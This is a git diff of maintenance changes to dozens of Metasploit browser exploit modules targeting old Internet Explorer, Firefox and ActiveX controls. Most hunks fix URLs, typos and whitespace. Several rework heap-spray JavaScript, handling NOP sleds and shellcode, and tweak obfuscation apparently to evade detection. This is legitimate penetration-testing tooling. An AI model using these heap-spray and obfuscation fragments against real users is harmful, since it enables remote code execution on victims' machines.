diff --git a/modules/exploits/windows/browser/juniper_sslvpn_ive_setupdll.rb b/modules/exploits/windows/browser/juniper_sslvpn_ive_setupdll.rb
index 2b28119737..9792488ea9 100644
--- a/modules/exploits/windows/browser/juniper_sslvpn_ive_setupdll.rb
+++ b/modules/exploits/windows/browser/juniper_sslvpn_ive_setupdll.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = NormalRanking
 
@@ -80,5 +79,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/kazaa_altnet_heap.rb b/modules/exploits/windows/browser/kazaa_altnet_heap.rb
index 25b1aab706..fb3e7a9379 100644
--- a/modules/exploits/windows/browser/kazaa_altnet_heap.rb
+++ b/modules/exploits/windows/browser/kazaa_altnet_heap.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description'    => %q{
           This module exploits a stack buffer overflow in the Altnet Download Manager ActiveX
         Control (amd4.dll) bundled with Kazaa Media Desktop 3.2.7.
-        By sending a overly long string to the "Install()" method, an attacker may be
+        By sending an overly long string to the "Install()" method, an attacker may be
         able to execute arbitrary code.
       },
       'License'        => MSF_LICENSE,
@@ -72,6 +72,7 @@ class MetasploitModule < Msf::Exploit::Remote
     rand6  = rand_text_alpha(rand(100) + 1)
     rand7  = rand_text_alpha(rand(100) + 1)
     rand8  = rand_text_alpha(rand(100) + 1)
+    randnop = rand_text_alpha(rand(100) + 1)
 
     # Build out the message
     content =
@@ -79,7 +80,8 @@ class MetasploitModule < Msf::Exploit::Remote
       "<object classid='clsid:DEF37997-D9C9-4A4B-BF3C-88F99EACEEC2' id='#{vname}'></object>\n" +
       "<script language='javascript'>\n" +
       "#{rand1} = unescape('#{shellcode}');\n" +
-      "#{rand2} = unescape('#{nops}');\n" +
+      "#{randnop} = '#{nops}';\n" +
+      "#{rand2} = unescape(#{randnop});\n" +
       "#{rand3} = 20;\n" +
       "#{rand4} = #{rand3}+#{rand1}.length\n" +
       "while (#{rand2}.length<#{rand4}) #{rand2}+=#{rand2};\n" +
@@ -104,5 +106,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/keyhelp_launchtripane_exec.rb b/modules/exploits/windows/browser/keyhelp_launchtripane_exec.rb
index a2d853e31c..30c10c2863 100644
--- a/modules/exploits/windows/browser/keyhelp_launchtripane_exec.rb
+++ b/modules/exploits/windows/browser/keyhelp_launchtripane_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -313,5 +313,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     super
   end
-
 end
diff --git a/modules/exploits/windows/browser/logitechvideocall_start.rb b/modules/exploits/windows/browser/logitechvideocall_start.rb
index 456db6ebd8..6f7c9cd172 100644
--- a/modules/exploits/windows/browser/logitechvideocall_start.rb
+++ b/modules/exploits/windows/browser/logitechvideocall_start.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'Logitech VideoCall ActiveX Control Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in the Logitech VideoCall ActiveX
-        Control (wcamxmp.dll 2.0.3470.448). By sending a overly long string to the
+        Control (wcamxmp.dll 2.0.3470.448). By sending an overly long string to the
         "Start()" method, an attacker may be able to execute arbitrary code.
       },
       'License'        => MSF_LICENSE,
@@ -82,5 +82,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/lpviewer_url.rb b/modules/exploits/windows/browser/lpviewer_url.rb
index 6338f4c192..92f6b5be20 100644
--- a/modules/exploits/windows/browser/lpviewer_url.rb
+++ b/modules/exploits/windows/browser/lpviewer_url.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -82,7 +82,8 @@ class MetasploitModule < Msf::Exploit::Remote
     try {
       var #{vname} = new ActiveXObject('LPViewer.LPViewer.1');
       var #{rand1} = unescape('#{shellcode}');
-      var #{rand2} = unescape('#{nops}');
+      var #{randnop} = "#{nops}";
+      var #{rand2} = unescape(#{randnop});
       var #{rand3} = 20;
       var #{rand4} = #{rand3} + #{rand1}.length;
       while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
@@ -110,5 +111,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/macrovision_downloadandexecute.rb b/modules/exploits/windows/browser/macrovision_downloadandexecute.rb
index 7174ce0cb7..ba6f186fb2 100644
--- a/modules/exploits/windows/browser/macrovision_downloadandexecute.rb
+++ b/modules/exploits/windows/browser/macrovision_downloadandexecute.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -91,5 +91,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/macrovision_unsafe.rb b/modules/exploits/windows/browser/macrovision_unsafe.rb
index c008de3a79..757f4e051e 100644
--- a/modules/exploits/windows/browser/macrovision_unsafe.rb
+++ b/modules/exploits/windows/browser/macrovision_unsafe.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => 'Macrovision InstallShield Update Service ActiveX Unsafe Method',
       'Description'    => %q{
-        This module allows attackers to execute code via an unsafe methods in Macrovision InstallShield 2008.
+        This module allows attackers to execute code via an unsafe method in Macrovision InstallShield 2008.
       },
       'License'        => MSF_LICENSE,
       'Author'         => [ 'MC' ],
@@ -82,5 +82,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler(cli)
 
   end
-
 end
diff --git a/modules/exploits/windows/browser/malwarebytes_update_exec.rb b/modules/exploits/windows/browser/malwarebytes_update_exec.rb
index c050c64764..041cca5f24 100644
--- a/modules/exploits/windows/browser/malwarebytes_update_exec.rb
+++ b/modules/exploits/windows/browser/malwarebytes_update_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -120,5 +120,4 @@ class MetasploitModule < Msf::Exploit::Remote
                   'Content-Type' => 'application/x-msdos-program'
                  )
   end
-
 end
diff --git a/modules/exploits/windows/browser/maxthon_history_xcs.rb b/modules/exploits/windows/browser/maxthon_history_xcs.rb
index 4db3b40fe9..75ac8d75ca 100644
--- a/modules/exploits/windows/browser/maxthon_history_xcs.rb
+++ b/modules/exploits/windows/browser/maxthon_history_xcs.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
@@ -135,5 +134,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     send_response_html(cli, content)
   end
-
 end
diff --git a/modules/exploits/windows/browser/mcafee_mcsubmgr_vsprintf.rb b/modules/exploits/windows/browser/mcafee_mcsubmgr_vsprintf.rb
index a7730cca18..5284e4f374 100644
--- a/modules/exploits/windows/browser/mcafee_mcsubmgr_vsprintf.rb
+++ b/modules/exploits/windows/browser/mcafee_mcsubmgr_vsprintf.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -108,5 +108,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/mcafee_mvt_exec.rb b/modules/exploits/windows/browser/mcafee_mvt_exec.rb
index d6a5a445e6..6eb1fa5c85 100644
--- a/modules/exploits/windows/browser/mcafee_mvt_exec.rb
+++ b/modules/exploits/windows/browser/mcafee_mvt_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => "McAfee Virtual Technician MVTControl 6.3.0.1911 GetObject Vulnerability",
       'Description'    => %q{
-          This modules exploits a vulnerability found in McAfee Virtual Technician's
+          This module exploits a vulnerability found in McAfee Virtual Technician's
         MVTControl.  This ActiveX control can be abused by using the GetObject() function
         to load additional unsafe classes such as WScript.Shell, therefore allowing remote
         code execution under the context of the user.
@@ -96,7 +96,7 @@ class MetasploitModule < Msf::Exploit::Remote
     JS
 
     js = ::Rex::Exploitation::JSObfu.new(js)
-    js.obfuscate
+    js.obfuscate(memory_sensitive: true)
 
     html = <<-EOS
     <html>
@@ -114,5 +114,4 @@ class MetasploitModule < Msf::Exploit::Remote
     send_response(cli, html, {'Content-Type'=>'text/html'})
 
   end
-
 end
diff --git a/modules/exploits/windows/browser/mcafeevisualtrace_tracetarget.rb b/modules/exploits/windows/browser/mcafeevisualtrace_tracetarget.rb
index 25413b526b..e82f0e6d6a 100644
--- a/modules/exploits/windows/browser/mcafeevisualtrace_tracetarget.rb
+++ b/modules/exploits/windows/browser/mcafeevisualtrace_tracetarget.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'McAfee Visual Trace ActiveX Control Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in the McAfee Visual Trace 3.25 ActiveX
-        Control (NeoTraceExplorer.dll 1.0.0.1). By sending a overly long string to the
+        Control (NeoTraceExplorer.dll 1.0.0.1). By sending an overly long string to the
         "TraceTarget()" method, an attacker may be able to execute arbitrary code.
       },
       'License'        => MSF_LICENSE,
@@ -81,5 +81,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/mirc_irc_url.rb b/modules/exploits/windows/browser/mirc_irc_url.rb
index a5157e8a14..b20e464ccb 100644
--- a/modules/exploits/windows/browser/mirc_irc_url.rb
+++ b/modules/exploits/windows/browser/mirc_irc_url.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -68,5 +68,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/mozilla_attribchildremoved.rb b/modules/exploits/windows/browser/mozilla_attribchildremoved.rb
index 6e70f640fd..dac9aacc0b 100644
--- a/modules/exploits/windows/browser/mozilla_attribchildremoved.rb
+++ b/modules/exploits/windows/browser/mozilla_attribchildremoved.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = AverageRanking
 
@@ -393,6 +392,5 @@ class MetasploitModule < Msf::Exploit::Remote
     send_response(cli, content, {'Content-Type'=>'text/html'})
 
   end
-
 end
 
diff --git a/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb b/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb
index 962ac9381a..d20f53b0db 100644
--- a/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb
+++ b/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = NormalRanking
 
@@ -14,8 +13,8 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => 'Firefox onreadystatechange Event DocumentViewerImpl Use After Free',
       'Description'    => %q{
-        This module exploits a vulnerability found on Firefox 17.0.6, specifically an use
-        after free of a DocumentViewerImpl object, triggered via an specially crafted web
+        This module exploits a vulnerability found on Firefox 17.0.6, specifically a use
+        after free of a DocumentViewerImpl object, triggered via a specially crafted web
         page using onreadystatechange events and the window.stop() API, as exploited in the
         wild on 2013 August to target Tor Browser users.
       },
@@ -174,5 +173,4 @@ document.addEventListener("readystatechange",a,null);
     send_response(cli, content, {'Content-Type'=>'text/html'})
 
   end
-
 end
diff --git a/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb b/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb
index dc4a1ea06a..f1a8d8a43d 100644
--- a/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb
+++ b/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = NormalRanking
 
@@ -195,5 +194,4 @@ function run() {
     send_response(cli, content, {'Content-Type'=>'text/html'})
 
   end
-
 end
diff --git a/modules/exploits/windows/browser/mozilla_interleaved_write.rb b/modules/exploits/windows/browser/mozilla_interleaved_write.rb
index cbd07fe234..51da6bf04d 100644
--- a/modules/exploits/windows/browser/mozilla_interleaved_write.rb
+++ b/modules/exploits/windows/browser/mozilla_interleaved_write.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -266,7 +266,7 @@ else {
           }
         }
 
-        custom_js = ::Rex::Exploitation::ObfuscateJS.new(custom_js, opts).obfuscate()
+        custom_js = ::Rex::Exploitation::ObfuscateJS.new(custom_js, opts).obfuscate(memory_sensitive: true)
       end
 
     return <<-EOS
@@ -286,5 +286,4 @@ else {
 EOS
 
   end
-
 end
diff --git a/modules/exploits/windows/browser/mozilla_mchannel.rb b/modules/exploits/windows/browser/mozilla_mchannel.rb
index 757682046d..8bc99387b1 100644
--- a/modules/exploits/windows/browser/mozilla_mchannel.rb
+++ b/modules/exploits/windows/browser/mozilla_mchannel.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -21,7 +21,7 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => 'Mozilla Firefox 3.6.16 mChannel Use-After-Free Vulnerability',
       'Description'    => %q{
-          This module exploits an use after free vulnerability in Mozilla
+          This module exploits a use after free vulnerability in Mozilla
         Firefox 3.6.16. An OBJECT Element mChannel can be freed via the
         OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel
         becomes a dangling pointer and can be reused when setting the OBJECTs
@@ -344,5 +344,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/mozilla_nssvgvalue.rb b/modules/exploits/windows/browser/mozilla_nssvgvalue.rb
index f34b99f83a..6a031af560 100644
--- a/modules/exploits/windows/browser/mozilla_nssvgvalue.rb
+++ b/modules/exploits/windows/browser/mozilla_nssvgvalue.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = AverageRanking
 
@@ -339,5 +338,4 @@ class MetasploitModule < Msf::Exploit::Remote
     send_response(cli, content, {'Content-Type'=>'text/html'})
 
   end
-
 end
diff --git a/modules/exploits/windows/browser/mozilla_nstreerange.rb b/modules/exploits/windows/browser/mozilla_nstreerange.rb
index 1ed675f59f..68eae75b74 100644
--- a/modules/exploits/windows/browser/mozilla_nstreerange.rb
+++ b/modules/exploits/windows/browser/mozilla_nstreerange.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/browser/mozilla_reduceright.rb b/modules/exploits/windows/browser/mozilla_reduceright.rb
index 5c3b41cb68..3aa2268f40 100644
--- a/modules/exploits/windows/browser/mozilla_reduceright.rb
+++ b/modules/exploits/windows/browser/mozilla_reduceright.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description'    => %q{
           This module exploits a vulnerability found in Mozilla Firefox 3.6. When an
         array object is configured with a large length value, the reduceRight() method
-        may cause an invalid index being used, allowing abitrary remote code execution.
+        may cause an invalid index being used, allowing arbitrary remote code execution.
         Please note that the exploit requires a longer amount of time (compare to a
         typical browser exploit) in order to gain control of the machine.
       },
@@ -144,6 +144,9 @@ class MetasploitModule < Msf::Exploit::Remote
     js_applet = rand_text_alpha(rand(10) + 5)
     a_trigger = rand_text_alpha(rand(10) + 5)
 
+    randnop = rand_text_alpha(rand(100) + 1)
+    js_nops = Rex::Text.to_unescape("\x0c"*4)
+
     if my_target.name =~ /\(JAVA\)/
 
       #mona.py tekniq! + Payload
@@ -197,13 +200,14 @@ class MetasploitModule < Msf::Exploit::Remote
         var nullt    = 0x2/2;
 
         var espoffset  = (7340 /2) - ptrs.length;
-        var esppadding = unescape("%u0c0c%u0c0c");
+        var #{randnop} = "#{js_nops}";
+        var esppadding = unescape(#{randnop});
         while(esppadding.length < espoffset) esppadding += esppadding;
         esppadding = esppadding.substring(0, espoffset);
 
         var payload = unescape("#{js_payload}");
 
-        var tr_padding = unescape("%u0c0c%u0c0c");
+        var tr_padding = unescape(#{randnop});
         while (tr_padding.length < 0x7fa00) {tr_padding += tr_padding;}
 
         var dummy = ptrs + esppadding + payload + tr_padding;
@@ -227,7 +231,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
       if datastore['OBFUSCATE']
         js = ::Rex::Exploitation::JSObfu.new(js)
-        js.obfuscate
+        js.obfuscate(memory_sensitive: true)
       end
 
       html = <<-HTML
@@ -290,7 +294,8 @@ class MetasploitModule < Msf::Exploit::Remote
 
         var payload = unescape("#{js_payload}");
 
-        var tr_padding = unescape("%u0c0c%u0c0c");
+        var #{randnop} = "#{js_nops}";
+        var tr_padding = unescape(#{randnop});
         while (tr_padding.length < 0x7fa00) {tr_padding += tr_padding;}
 
         var dummy = ptrs + payload + tr_padding;
@@ -312,7 +317,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
       if datastore['OBFUSCATE']
         js = ::Rex::Exploitation::JSObfu.new(js)
-        js.obfuscate
+        js.obfuscate(memory_sensitive: true)
       end
 
       js = js.gsub(/^ {4}/, '')
diff --git a/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb b/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb
index 2ef35aab7b..8193f74dc6 100644
--- a/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb
+++ b/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -100,5 +100,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/ms05_054_onload.rb b/modules/exploits/windows/browser/ms05_054_onload.rb
index 3bdd56408b..462aac11a5 100644
--- a/modules/exploits/windows/browser/ms05_054_onload.rb
+++ b/modules/exploits/windows/browser/ms05_054_onload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -90,12 +90,14 @@ class MetasploitModule < Msf::Exploit::Remote
     mytarget   = auto_target(cli, request)
     var_title  = rand_text_alpha(rand(100) + 1)
     func_main  = rand_text_alpha(rand(100) + 1)
+    randnop = rand_text_alpha(rand(100) + 1)
 
     heapspray = ::Rex::Exploitation::JSObfu.new %Q|
 function heapspray()
 {
   shellcode = unescape('#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');
-  var bigblock = unescape("#{Rex::Text.to_unescape(make_nops(4))}");
+  var #{randnop} = "#{Rex::Text.to_unescape(make_nops(4))}";
+  var bigblock = unescape(#{randnop});
   var headersize = 20;
   var slackspace = headersize + shellcode.length;
   while (bigblock.length < slackspace) bigblock += bigblock;
@@ -116,7 +118,7 @@ function heapspray()
   prompt(fillmem, "");
 }
 |
-    heapspray.obfuscate
+    heapspray.obfuscate(memory_sensitive: true)
 
     nofunc = ::Rex::Exploitation::JSObfu.new %Q|
 
@@ -150,7 +152,7 @@ else
 }
 |
 
-    nofunc.obfuscate
+    nofunc.obfuscate(memory_sensitive: true)
 
     main = %Q|
 function #{func_main}()
diff --git a/modules/exploits/windows/browser/ms06_001_wmf_setabortproc.rb b/modules/exploits/windows/browser/ms06_001_wmf_setabortproc.rb
index f59b363b43..a86dbbdbe6 100644
--- a/modules/exploits/windows/browser/ms06_001_wmf_setabortproc.rb
+++ b/modules/exploits/windows/browser/ms06_001_wmf_setabortproc.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -182,5 +182,4 @@ class MetasploitModule < Msf::Exploit::Remote
         return [7, 0x041b].pack('Vv') + rand_text(8)
     end
   end
-
 end
diff --git a/modules/exploits/windows/browser/ms06_013_createtextrange.rb b/modules/exploits/windows/browser/ms06_013_createtextrange.rb
index b6db50c277..7616022343 100644
--- a/modules/exploits/windows/browser/ms06_013_createtextrange.rb
+++ b/modules/exploits/windows/browser/ms06_013_createtextrange.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'MS06-013 Microsoft Internet Explorer createTextRange() Code Execution',
       'Description'    => %q{
           This module exploits a code execution vulnerability in Microsoft Internet Explorer.
-        Both IE6 and IE7 (Beta 2) are vulnerable. It will corrupt memory  in a way, which, under
+        Both IE6 and IE7 (Beta 2) are vulnerable. It will corrupt memory in a way, which, under
         certain circumstances, can lead to an invalid/corrupt table pointer dereference. EIP will point
         to a very remote, non-existent memory location. This module is the result of merging three
         different exploit submissions and has only been reliably tested against Windows XP SP2.
@@ -89,13 +89,15 @@ class MetasploitModule < Msf::Exploit::Remote
     rnd              = rand(2)
     var_setTimeout   = (rnd == 0) ? "setTimeout('#{var_fillHeap}()', 5)" : ""
     var_setInterval  = (rnd == 1) ? "setInterval('#{var_fillHeap}()', 5)" : ""
+    randnop          = rand_text_alpha(rand(100) + 1)
 
     # Build out the message
     content = %Q|<html>
 <head>
 <script language = "javascript">
 var #{var_payload} = unescape("#{shellcode}");
-var #{var_nopslide} = unescape("#{nops}");
+var #{randnop} = "#{nops}";
+var #{var_nopslide} = unescape(#{randnop});
 var #{var_slidesize} = 20+#{var_payload}.length;
 while (#{var_nopslide}.length<#{var_slidesize}) { #{var_nopslide} += #{var_nopslide}; }
 var #{var_fillblock} = #{var_nopslide}.substring(0,#{var_slidesize});
@@ -138,5 +140,4 @@ function #{var_start}() {
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/ms06_055_vml_method.rb b/modules/exploits/windows/browser/ms06_055_vml_method.rb
index 14fca624b6..e0c5fc219e 100644
--- a/modules/exploits/windows/browser/ms06_055_vml_method.rb
+++ b/modules/exploits/windows/browser/ms06_055_vml_method.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -122,5 +122,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/ms06_057_webview_setslice.rb b/modules/exploits/windows/browser/ms06_057_webview_setslice.rb
index 3df7566e28..f8c762ffa0 100644
--- a/modules/exploits/windows/browser/ms06_057_webview_setslice.rb
+++ b/modules/exploits/windows/browser/ms06_057_webview_setslice.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -117,5 +117,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/ms06_067_keyframe.rb b/modules/exploits/windows/browser/ms06_067_keyframe.rb
index 7391ab198a..83da9792cc 100644
--- a/modules/exploits/windows/browser/ms06_067_keyframe.rb
+++ b/modules/exploits/windows/browser/ms06_067_keyframe.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -111,5 +111,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/ms06_071_xml_core.rb b/modules/exploits/windows/browser/ms06_071_xml_core.rb
index 82a3305d4a..a4dc6b147a 100644
--- a/modules/exploits/windows/browser/ms06_071_xml_core.rb
+++ b/modules/exploits/windows/browser/ms06_071_xml_core.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'MS06-071 Microsoft Internet Explorer XML Core Services HTTP Request Handling',
       'Description'    => %q{
           This module exploits a code execution vulnerability in Microsoft XML Core Services which
-        exists in the XMLHTTP ActiveX control. This module is the modifed version of
+        exists in the XMLHTTP ActiveX control. This module is the modified version of
         http://www.milw0rm.com/exploits/2743 - credit to str0ke. This module has been successfully
         tested on Windows 2000 SP4, Windows XP SP2, Windows 2003 Server SP0 with IE6
         + Microsoft XML Core Services 4.0 SP2.
@@ -131,5 +131,4 @@ class MetasploitModule < Msf::Exploit::Remote
     # Handle the payload
     handler(cli)
   end
-
 end
diff --git a/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb b/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb
index fa48b5d18d..2ff4a00222 100644
--- a/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb
+++ b/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -525,5 +525,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     return ani
   end
-
 end
diff --git a/modules/exploits/windows/browser/ms08_041_snapshotviewer.rb b/modules/exploits/windows/browser/ms08_041_snapshotviewer.rb
index 05e3031682..d26876d45a 100644
--- a/modules/exploits/windows/browser/ms08_041_snapshotviewer.rb
+++ b/modules/exploits/windows/browser/ms08_041_snapshotviewer.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -91,5 +91,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler(cli)
 
   end
-
 end
